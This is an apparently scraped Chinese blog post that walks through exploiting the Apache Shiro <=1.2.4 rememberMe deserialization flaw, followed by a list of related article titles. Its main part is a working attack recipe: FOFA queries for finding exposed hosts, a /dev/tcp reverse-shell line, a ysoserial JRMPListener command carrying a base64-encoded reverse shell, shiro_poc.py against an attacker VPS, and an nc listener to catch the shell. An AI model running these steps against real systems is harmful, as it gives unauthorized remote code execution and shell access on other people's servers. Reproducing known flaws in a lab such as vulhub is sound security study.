Shiro反序列化<=1.2.4 复现
Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。
shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。该漏洞对shiro<=1.2.4的版本有影响。
环境搭建
https://github.com/vulhub/vulhub docker环境
也可以在搜索引擎中找
FOFA
header="rememberme=deleteMe"、header="shiroCookie"
环境搭建难点
Shiro利用maven编译有很多坑点,鉴于过于痛苦,我列出主要坑点
1.机器需要安装mvn、svn命令
2.jdk建议为1.6
3.maven版本最好为3.1.1
一键检测工具
https://github.com/sv3nbeast/ShiroScan
漏洞复现
需要2个利用漏洞工具加密
一个是shiro_poc.py ,用于得到rememberMe
一个是maven, 用于加密监听执行命令
1.https://mp.weixin.qq.com/s/KkWL9SftCZSdkglW39Qw0Q
制作反弹shell 代码
使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码
bash -I >& /dev/tcp ip/端口 0>&1
2.使用ysoserial中JRMP监听模块,监听6666端口 (不同字体就是上面编码后的命令)(注意标黄的位置,是工具名称,注意适时更换)
攻击机中执行命令:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtSSA+JiAvZGV2L3RjcCBpcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}'
如果没用ysoserial,可安装到shiro.py同目录
或者利用ysoserial进行编码
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp
3.新建窗口,生成rememberme, 自己vps的ip,6666是上面ysoserial监听的端口
python shiro_poc.py vpsip:6666 得到rememberme (注意这个rememberme是一次性的)
4.新建窗口,监听端口
nc -lvnp 端口 (端口是第1步反弹shell的端口,不是6666端口)
5..复制rememberMe到数据包,发送
返回200,有些环境会返回302
注意:删除session和空格
6.返回shell
文笔菜, 技术也菜 ,有什么问题可以留言,虽然我不会看。。。。
Shiro反序列化<=1.2.4 复现的更多相关文章
- Apache Shiro反序列化远程代码执行复现
最近也是看shiro漏洞比较多,所以自己也在本地复现了一下,拿出来与大家一起分享 0x00 关于Apache Shiro Apache shiro是一个Java安全框架,提供了认证.授权.加密和会话管 ...
- Apache Shiro反序列化漏洞复现
Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...
- Shiro反序列化复现
Shiro反序列化复现 ——————环境准备—————— 目标靶机:10.11.10.108 //docker环境 攻击机ip:无所谓 vpsip:192.168.14.222 //和靶机ip可通 1 ...
- Apache Shiro 反序列化漏洞复现(CVE-2016-4437)
漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...
- Shiro反序列化漏洞复现
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.使用Shiro的易于理解的API,可以快速.轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企 ...
- 一次关于shiro反序列化漏洞的思考
0x01前言 之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),简单说了一下反序列化漏洞,也提了一嘴常见的几种Java框 ...
- 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计
Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. Apache Shiro默认使用了CookieRe ...
- 应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)
背景 某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell.出于做安全的谨慎,马上出现场应急,确认漏洞.该漏洞存在在cookie字段中的rememberMe字段 ...
- Shiro反序列化的检测与利用
1. 前言 Shiro 是 Apache 旗下的一个用于权限管理的开源框架,提供开箱即用的身份验证.授权.密码套件和会话管理等功能. 2. 环境搭建 环境搭建vulhub 3. 如何发现 第一种情况 ...
随机推荐
- 2019 ICPC Asia Taipei-Hsinchu Regional Problem K Length of Bundle Rope (贪心,优先队列)
题意:有\(n\)堆物品,每次可以将两堆捆成一堆,新堆长度等于两个之和,每次消耗两个堆长度之和的长度,求最小消耗使所有物品捆成一堆. 题解:贪心的话,每次选两个长度最小的来捆,这样的消耗一定是最小的, ...
- 支撑性服务 & 自动化
连载传送门: 什么是云原生? 云原生设计理念 .NET 微服务 谈到云原生,绕不开"容器化" Backing services 云原生系统依赖于许多不同的辅助资源,例如数据存储.消 ...
- Dcoker命令使用详解
Docker语法说明 docker [OPTIONS] COMMAND [arg...] OPTIONS --config=~/.docker :指定本地客户端配置文件. -D, --debug :开 ...
- vue-router离开当前页面提示未保存,解决在使用beforeRouteLeave弹窗多次闪现问题
在使用beforeRouteLeave时要注意两点: 1. next(false)阻止路由继续进行,若不先阻止,会多次执行守卫中的代码 2. 利用setTimeout延时触发弹窗,避免出现闪现情况
- vi, vim 使用教程
vim 使用教程 ```shcd lscd ../cd -pwdcprmmkdirtarmvmbtar -zcfchmodsshtopqfree ``` 数字0含空字符到行首,^不含空字符到行首.G移 ...
- React Native & Security
React Native & Security https://reactnative.dev/docs/security React Native blogs https://reactna ...
- ES-Next classes static properties
ES-Next classes static properties https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/ ...
- Flutter 创建透明的路由页面
原文 import 'package:flutter/material.dart'; void main() => runApp(MyApp()); class MyApp extends St ...
- 近期最值得关注的潜力币种——VAST
近期币圈的热度又再次被掀起,很多新的币种也争相上线,还有一些币种虽然还未上线,但是在币圈的火热程度也非同一般.小编留意了一下,最近在币圈讨论的最火的便是VAST代币.许多生态建设者乃至机构都表示很看好 ...
- NGK公链有发展前景吗?
最近网络中经常能看到一个新公链项目NGK的消息,很多朋友也都私下表示过,非常看好今年的NGK.对此,小编对NGK做了一些功课,发觉到NGK未来在商业Dapp应用的发展前景,下面就给大家分享一下我的理解 ...